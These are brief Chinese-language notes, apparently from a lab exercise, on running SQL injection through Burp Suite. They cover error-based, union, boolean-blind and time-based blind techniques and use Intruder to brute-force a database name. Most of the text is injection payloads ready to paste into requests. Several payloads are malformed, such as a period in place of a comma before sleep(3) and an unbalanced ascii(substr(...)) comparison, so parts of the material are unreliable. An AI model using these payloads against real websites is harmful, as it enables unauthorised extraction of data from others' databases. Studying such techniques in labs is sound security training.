一.Burpsuit抓包报错注入
报错注入:
updatexml(1,concat(0x7e,database(),0x7e),1)
select *from users where id = '1' and updatexml()
例子:
updatexml(1,concat(0x7e,database(),0x7e),1)
updatexml(1,concat(0x7e,select 1,0x7e),1)
二.Burpsuit联合注入
Union注入:
order by n--+
union select 1,2,3.....--+
例子:
union select 1,database()--+
三.Burpsuit布尔盲注
布尔盲注:
1=1--+/1=2--+
length(database())>1--+
例子:
length(database())>1--+
substr(database(),1,1)='a'--+
ascii(substr(database(),1,1)=115--+
1723字节表示存在布尔盲注
1677字节表示没有
根据猜测得到的消息,数据库长度为8,且第一个字母是‘s',所以我们直接将数据包发送到intruder进行爆破,选择集束炸弹联合爆破去着剩下的数据库字母
四.Burpsuit时间盲注
时间盲注:
if(length(database())>1,sleep(3),1)--+
例子:
if(length(database())>1.sleep(3),1)--+
if(substr(database(),1,1)='a',sleep(3),1)--+
if(ascii(substr(database(),1,1))=115,sleep(3),1)--+
如果存在时间盲注,右下角的时间会变化,比如我加了0.3,成倍数增加的话,响应时间就是三秒左右,如果没有时间盲注,基本就是立马响应。
同理,这个是POST型请求,所以得在下面的数据注入才行,然后同样的进行集束炸弹联合爆破,
可以找到数据库的名称。